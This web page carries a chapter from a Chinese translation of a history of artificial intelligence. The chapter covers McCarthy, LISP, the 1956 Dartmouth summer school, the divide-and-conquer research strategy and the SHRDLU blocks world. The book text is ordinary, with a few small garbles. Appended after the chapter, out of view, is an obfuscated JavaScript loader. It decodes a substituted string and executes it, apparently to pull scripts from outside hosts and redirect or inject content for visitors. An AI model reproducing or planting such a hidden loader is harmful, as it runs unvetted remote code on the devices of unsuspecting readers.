关灯
护眼
字体:

第二部分 我们是怎么走到这一步的 第二章 黄金年代(第1页)

章节目录保存书签

第二部分我们是怎么走到这一步的第二章黄金年代

图灵在他发表的论文《计算机器与智能》中介绍了图灵测试,为人工智能学科迈出第一步做出了重大贡献。只是在当年,这个划时代的贡献显得颇为孤独。那时候,人工智能还没有命名,没有形成一门学科,也没有研究团队。彼时图灵的贡献都只是概念性的,比如图灵测试——因为人工智能系统还未出现。仅仅过了10年,到了20世纪50年代末,一切都发生了天翻地覆的改变:新的学科建立,并有了专属的名称,研究人员可以自豪地展示用以揭示智能行为基础组成部分的第一个试验性系统。

接下来的20年是人工智能的第一个繁荣期。1956年到1974年间,人工智能研究领域掀起了乐观积极、迅速发展的浪潮,这一时期被称为人工智能的黄金年代。在这个年代里,研究人员不知失望为何物,一切皆有可能。这一时期构造的人工智能系统,堪称人工智能史上传奇的经典标准。它们拥有奇奇怪怪的名称,比如SHRDLU、STRIPS或者SHAKEY——都是简短的名字,很多来源于首字母缩写,全用大写字母表示。这大概是源于当时计算机文件名的限制(以这种方式命名人工智能的习惯一直沿用至今,尽管已经毫无必要)。按照现代标准,用来建立这些人工智能的计算机运行速度慢得难以想象,内存也小得难以置信,使用起来也麻烦得难以忍受。今天我们开发软件理所当然会使用到的那些工具,当时并不存在,事实上,即使存在,也没法在当时的计算机上运行。那时候“黑客”文化已经悄悄抬头,人工智能研究人员大多在晚上工作,因为他们需要的计算机资源在白天要用在更重要的工作上。他们还必须发明各种巧妙的编程技巧[14],让复杂的程序能在当时简陋的计算机上运行——许多技巧后来成为各种技术标准,它们起源于20世纪60到70年代的人工智能实验室,现在的人们只能模糊地回忆起来——如果还有人记得的话。

但到了20世纪70年代中期,人工智能的研究开始停滞不前,除了最初的简单试验,并没有多少有意义的进展。这门初生的学科几乎被研究资助者扼杀于摇篮中,科学界也逐渐开始相信,人工智能这种被寄予了无限希望的新生儿,实则前途渺茫。

本章将回顾人工智能发展的前20年,我们将研究在此期间构建的一些关键系统,并讨论当时在人工智能领域最重要的技术之一:被称为“搜索”的技术。即使时至今日,它仍然是诸多人工智能系统的核心组件。我们还会接触到一个抽象的数学理论——计算复杂性,这是在20世纪60年代末到70年代初建立并发展起来的理论,用以解释为什么人工智能所面临的诸多问题从本质上来说难以解决。计算复杂性给人工智能的发展蒙上了一层阴影。

我们将从公认的黄金年代起点开始:1956年的夏天,一位名叫约翰·麦卡锡(JohnMcCarthy)的年轻美国学者,为这一领域命了名。

人工智能元年的盛夏

麦卡锡生活在美国现代科技创建的年代,在20世纪50到60年代,他以近乎不可能的才华,为计算机领域贡献了一系列新的理念。这些理念在现代被认为理所当然,以至于我们很难想象当年如果不是因为这些理念,计算机科学就不可能有进一步发展。他最著名的成就应该是被称为LISP的编程语言,几十年来,LISP一直是人工智能研究人员首选的编程语言。虽然编程语言一向是难以阅读的,即使以我这种专业程度为标准来看,LISP语言也是个怪胎。因为在LISP语言中,(所有(程序(看(起来(都(是(这样的)))))))。一代又一代的程序员总是开玩笑说LISP就是“一堆毫无关联的傻括号”[15]。

麦卡锡在20世纪50年代中期发明了LISP语言,令人惊讶的是,近70年后,全世界仍然在教授和使用它(反正我每天都要用)。想一想吧,麦卡锡发明LISP语言时,美国总统还是德怀特·戴维·艾森豪威尔,尼基塔·谢尔盖耶维奇·赫鲁晓夫还是苏联共产党总书记;在中国,毛泽东主席正在如火如荼地领导第一个五年计划,全世界电脑总数才几台。而时至今日,LISP语言竟然还在广泛使用中!

麦卡锡出生在波士顿的一个移民家庭,在很小的时候就展露出非凡的数学天赋。从加州理工学院数学专业毕业以后,这个20岁出头的小伙子被任命为新罕布什尔州达特茅斯学院的副教授。麦卡锡在加入达特茅斯学院之前就对计算机产生了浓厚兴趣,1955年,他向洛克菲勒研究所提交了一份提案,希望获得资金来在达特茅斯学院开办一所暑期学校。如果你不是一名学者,成年人的暑期学校听上去似乎还挺奇怪的。不过即使在今天,这也是一个久负盛名且受人喜爱的学术传统,主要目的是召集世界各地有共同兴趣的研究人员,让他们有机会在一段时间里见面交流及共事。之所以选择暑期,显然是因为一年的教学任务已经结束,学者们大多可以卸下沉重的教学压力,轻松一下。当然啦,既然选择在如此迷人的地方组织暑期学校,必要的社交活动也是不可缺少的。

对一所令人难忘的暑期学校来说,另一个不可或缺的要素就是一张星光四射的学员名单。当时的人们可能没预见到,达特茅斯暑期学校会集了未来几十年内在人工智能领域起决定性作用的大部分关键人物。不过邀请名单上还有一个特别令人沉痛的名字:普林斯顿大学数学家小约翰·福布斯·纳什(JohnForbesNash,Jr)。他于6年前刚刚取得博士学位,在一篇论文(只有短短28页)中引入了一个叫作“非合作博弈”的概念。纳什提出的概念在随后的几十年里成为经济理论的基石,并最终在1994年荣获诺贝尔经济学奖。但纳什本人并没有享受到他这项工作的乐趣:就在获得博士学位的几年后,他就被妄想症和偏执狂等精神疾病所吞噬,这使得他在之后几十年都远离了学术生活。不过令人高兴的是,他凭着惊人的毅力恢复良好,最终在1994年获奖。他的故事被写成了书籍《美丽心灵》,同名电影于2002年荣获奥斯卡金像奖最佳影片奖等多项殊荣[16]。

达特茅斯暑期学校名单令人好奇的原因还有一个。除了学术界的大佬们,暑期学校还接待了来自工业界、政府及军方的代表(甚至还有兰德公司——这家以加州智囊团为班底的智库公司,在20世纪60年代因为毫无感情地争辩如何“赢得”核战争而臭名昭著。而仅仅在十来年前,学术界、工业界、政府和军方联合起来执行曼哈顿计划,制造出了全世界第一颗原子弹——这也是美国科技实力的明确体现)。这种联合体——学术界、工业界、政府和军方联合,是美国在第二次世界大战后几十年里计算机技术发展的特色,也是美国在未来60年内确立人工智能领域国际领先地位的核心。

1955年,麦卡锡向洛克菲勒研究所撰写计划书申请经费的时候,他不得不给这项活动起个名字,他选择了“人工智能”这一名称。麦卡锡对他的活动抱有不切实际的高度期待——这也成了人工智能领域令人生厌的传统——他高呼:“我认为我们可以取得重大进展……如果这些经过精挑细选的科学家能在一起共事一个夏天的话[17]。”

到暑期学校结束之时,共事的科学家们也没取得什么重大进展,但麦卡锡选择的名字却流传下来,逐渐形成了一门新生的学科。

不幸的是,麦卡锡选择的这个名字在很长的时间里受到了无数诟病。首先,人工智能中的“人工”一词,英文为“artificial”,它还有一层意思是“虚假”“赝品”——谁会乐意研究虚假的智能呢?另外,“智能”(intelligence)这个词汇来源于“智力”(i),而事实上,自1956年以来,人工智能界一直在努力完成的诸多挑战,人类去做的时候似乎并不需要太高的智能。相反,正如我们在上一章所讨论的,过去60多年中,人工智能一直致力于解决的许多最重要也是最困难的问题,似乎一点都体现不出智能——这样的事实一再让那些新入该领域的人感到惊愕和困惑。

不过,“人工智能”这个由麦卡锡选择的名字,至今仍然沿用。那些参与暑期学校的学者,以及他们的学术继承人,多年来不断地致力于人工智能领域的研究,直至今日。那年夏天,是公认的人工智能学科诞生元年,当时,它听上去前途无量。

达特茅斯暑期学校之后那些年是人工智能令人兴奋的成长期,并且,在某段时间里似乎处于飞速发展状态。几十年里,四名暑期学校的成员主导着人工智能的发展。麦卡锡本人在斯坦福大学创立了人工智能实验室,位于现在的硅谷中心地带,马文·明斯基在马萨诸塞州剑桥市的麻省理工学院也创立了一个实验室,艾伦·纽维尔(AlanNewell)和他的博士生导师赫伯特·西蒙(HerbertSimon)则去了卡内基-梅隆大学。这四位天才带领着他们的学生建立的人工智能系统,是我们这一代人工智能研究工作者的图腾。

然而,黄金年代也有着幼稚、盲目乐观的特点,研究人员对这个领域可能的发展速度做出了鲁莽的预测,令人工智能的实际发展受到阻碍。到了20世纪70年代,美丽的梦幻结束了,一场恶性循环开始——人工智能的繁荣和萧条不断上演,在未来几十年内反复交替。但是,不管历史如何去批判这一时期,我都满怀喜爱之情去思考这一时期涌现出的人物,以及他们所做出的伟大成就。

分治策略

正如我们所知,通用人工智能是一个庞大而模糊的目标,很难直接达成。因而,黄金年代采用的策略是分而治之。也就是说,与其一口气尝试构建完整的通用智能系统,不如识别出通用人工智能系统所需的各项不同能力,分别构建具备这些能力的体系。这一概念隐含的假设是,如果我们能够成功构建通用人工智能所必需的每一种智能系统,那么,以后将它们组合成一个整体,比起直接构建完整的通用智能系统简单得多。这一基本假设——通用人工智能的研究方向是将精力集中在解决智能行为的各种组件上——成为人工智能研究的标准方案。人们争先恐后地建造各种能够表现智能行为能力的组件。

那么,研究人员关注的主要问题有哪些?首要的也是最难解决的问题,又偏偏是我们认为理所当然应该具备的:感知。一台机器要在特定的环境中智能地工作,就必须能够获取周围环境的信息。我们人类通过各种机制感知世界,包括五种感觉:视觉、听觉、嗅觉、触觉和味觉。因此,就得研究制作能够感知外界的传感器。如今的机器人使用各式各样的人工传感器来接收有关环境的信息——雷达、激光雷达、红外线测距仪、超声波测距仪等。但是制造这些传感器本身就是一项复杂的工程,但这还只是问题的一部分。不管数码相机的光学系统有多好,不管相机的图像传感器有几百万还是几千万像素,最终相机所做的事情只是把看到的图像解析成一个个网格,然后为网格中的每一个单元格分配数字,表示它的颜色和亮度。所以,哪怕配备了质量最好的数码相机的机器人,最终它收到的信息也只是一连串的数字。因此,感知领域的第二个挑战是如何解析这些原始的数字,理解它所“看到”的图像。这项挑战远比制作传感器难得多。

通用智能系统的另一个关键能力是通过学习积累经验,这引出了一个名叫机器学习的人工智能研究分支。就像“人工智能”这个名字本身一样,机器学习也是一个极其不恰当的术语,听起来像是一台机器自己在引导自己学习,从无知开始,变得越来越聪明。事实上,机器学习跟人类学习是完全不同的,它的学习指的是解析和预测数据。例如,在过去数十年里,机器学习的一个巨大成就是出现了可应用的人脸图像识别技术,通常的实现方法是给予程序诸多希望它学习的例子。因此,通过许多人脸图片以及对应人名来训练人脸图像识别程序,最终达到的效果是给它呈现一张图片时,程序就能正确地给出所示图片对应的人名。

问题解决和制订计划是两个相关联的能力,它们也与智能行为有关。它们都要求用给定的动作组合来达成目标,而实现的关键在于找到正确的动作序列。例如,象棋或者围棋之类的棋盘游戏,目标是赢得比赛,行动是在棋盘上移动(或放置)棋子,挑战是要找出正确的下棋步数以达到赢得比赛的目的。而如我们所了解的,在解决问题和制订计划中最根本的难点在于,只需要考虑移动棋子的所有可能结果,虽然从原理上看起来很容易做到,但是实际上执行起来却非常困难,因为棋子可能移动的步骤实在是太多了。

推理也许是诸多与智能相关的行为中最令人崇拜的一种:它基于现有的事实,用强大的逻辑方式获取新的知识。举一个著名的例子,若你知道“所有的人都是凡人”,你也知道“迈克尔是一个人”,那么就可以推理得出“迈克尔是凡人”的结论。一个真正的智能系统很容易做到这一步,然后,利用新的知识做出进一步推理。例如,知道“迈克尔是凡人”之后,就能推论出“迈克尔有朝一日会死去”“迈克尔死去以后,将不会复活”等等。自动推理就是赋予计算机这样的逻辑推理能力。在第三章中,我们将看到,长期以来,人们都认为这种推理能力应该是人工智能的主攻方向。虽然现在已经不是主流了,但自动推理仍然是人工智能领域中一个重要的分支。

最后是自然语言理解,这涉及让计算机理解人类的语言,比如中文或者英文。目前,计算机程序员为计算机编程时,必须使用人造的机器语言:某种有着精确定义、明确规则、专门为计算机构造的语言。这些语言(目前最著名的应该是Python、Java和C语言)比起自然语言(如中文或英文)简单得多。很长一段时间以来,让计算机理解自然语言的主要方法是试图为自然语言加以精准的定义和明确的规则,就像我们定义计算机语言一样。而事实证明,这是不可能的。自然语言太过灵活、模糊和易变,无法用这种方式严格定义,而语言在日常生活中的使用方式更是阻碍了对其进行精确定义的尝试。

SHRDLU和积木世界

SHRDLU系统是黄金年代最受欢迎的成就之一(这个奇怪的名字来源于当时印刷机上的字母排列——程序员就喜欢弄点晦涩的笑话)。1971年[18],斯坦福大学博士生特里·威诺格拉德(TerryWinograd)开发了SHRDLU系统,旨在展示人工智能的两个关键能力:解决问题和自然语言理解。

SHRDLU的问题解决组件是基于人工智能界最著名的实验场景之一:积木世界。积木世界是一个包含了许多彩色物体(方块、盒子和锥体)的模拟环境。使用模拟环境而不是真实环境去构建机器人,初衷在于将问题的复杂性降低到可管理的程度。在积木世界中,SHRDLU的问题解决模块可以根据用户的指令来排列对象,也可以使用模拟机械手臂来操作对象。我们可以在图2中看到积木世界的初始状态和目标状态。人工智能要完成的挑战是如何将初始状态转换为目标状态。并且,你只能使用固定的操作集合来完成状态转换:

图2 积木世界上图是初始状态,下图是目标状态,你要怎么转换呢?

·从桌面拾取对象x。此处指的是用机械臂将对象x(可能是积木或者锥体)从桌面上拿起来,只有当同时满足对象x在桌面上,以及机械臂当前为空的时候,才能执行此操作。

·将对象x放在桌面上。只有当机械臂携带对象x的时候,才能执行此操作。

·从对象y上拾取对象x。只有满足机械臂当前为空,对象x必须在对象y的上方,并且对象x上方没有其他对象的时候,才能执行此操作。

·将对象x放在对象y的上面。只有当机械臂携带对象x,以及对象y的顶部没有其他物品的时候,才能执行此操作。

积木世界里的一切行为,最终都会简化为这四个操作步骤,且只能执行这四种操作。所以,要实现图2中的状态转化,可以先按照如下步骤执行:

·从对象B上拾取对象A

·将对象A放在桌面上

·从桌面上拾取对象B

上述行动完成以后,积木世界会是什么状态?你能补写出剩下的操作步骤吗?(当然,这不难,但是挺无趣。)

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();